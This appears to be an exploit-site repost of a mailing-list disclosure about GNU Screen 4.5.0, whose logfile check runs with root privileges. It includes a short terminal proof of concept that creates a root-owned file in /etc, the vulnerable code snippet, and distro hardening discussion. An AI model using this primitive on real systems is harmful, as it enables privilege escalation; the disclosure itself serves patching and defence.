Home / os / blackberry

GNU Screen 4.5.0 root exploit

Posted on 30 November -0001

<HTML><HEAD><TITLE>GNU Screen 4.5.0 root exploit </TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways.

address@hidden:~$ screen --version
Screen version 4.05.00 (GNU) 10-Dec-16
address@hidden:~$ id
uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
address@hidden:~$ cd /etc
address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
address@hidden:/etc (master)$ ls -l bla.bla
-rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
address@hidden:/etc (master)$ cat bla.bla
fail
address@hidden:/etc (master)$ 

Donald Buczek <address@hidden>
---

There are some follow-ups, notably Axel Beckert pointing out that the
issue appears to have been introduced on 2016-11-04 (not 2015-11-04):

---
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)

There is no such commit id, neither in the master branch nor in the
screen-v4 branch.

I assume you meant one of these two commits instead:

master: 
http://git.savannah.gnu.org/cgit/screen.git/commit/?id=c575c40c9bd7653470639da32e06faed0a9b2ec4
screen-v4: 
http://git.savannah.gnu.org/cgit/screen.git/commit/?h=screen-v4&id=5460f5d28c01a9a58e021eb1dffef2965e629d58

The latter is the one included in Screen 4.5.0.
---

The commits add this code:

---
+              FILE *w_check;
+              if ((w_check = fopen(screenlogfile, "w")) == NULL)
+                Panic(0, "-L: logfile name access problem");
+              else
+                fclose(w_check);
---

apparently into command-line option parsing in main(), thus apparently
prior to dropping the privileges.  (I didn't review this in context.)

Last but not least, I hope distros don't install screen SUID root these
days.  If any distro does, this is yet another reminder to reconsider.

Some install it SGID utmp.  Some take it a step further - Owl and ALT
Linux install it SGID to group screen, which only grants the ability to
invoke utempter (SGID utmp) and tcp_chkpwd (SGID shadow).  Thus, it'd
take a vulnerability in those other tools to make much use of a screen
vulnerability.  Here's an excerpt from ALT Linux's spec file:

%post
ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/
ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/

%preun
if [ $1 -eq 0 ]; then
rm -f %_libexecdir/screen/{tcb_chkpwd,utempter}
fi

%triggerin -- pam_tcb >= 0.9.7.1
ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/

%triggerin -- libutempter >= 1.0.6
ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/

%files
%attr(2711,root,screen) %_bindir/screen
%attr(710,root,screen) %dir %_libexecdir/screen
%attr(2711,root,shadow) %ghost %_libexecdir/screen/tcb_chkpwd
%attr(2711,root,utmp) %ghost %_libexecdir/screen/utempter
%attr(775,root,screen) %dir /var/run/screen/

Alexander</BODY></HTML>

 

TOP

Malware :

Exploits :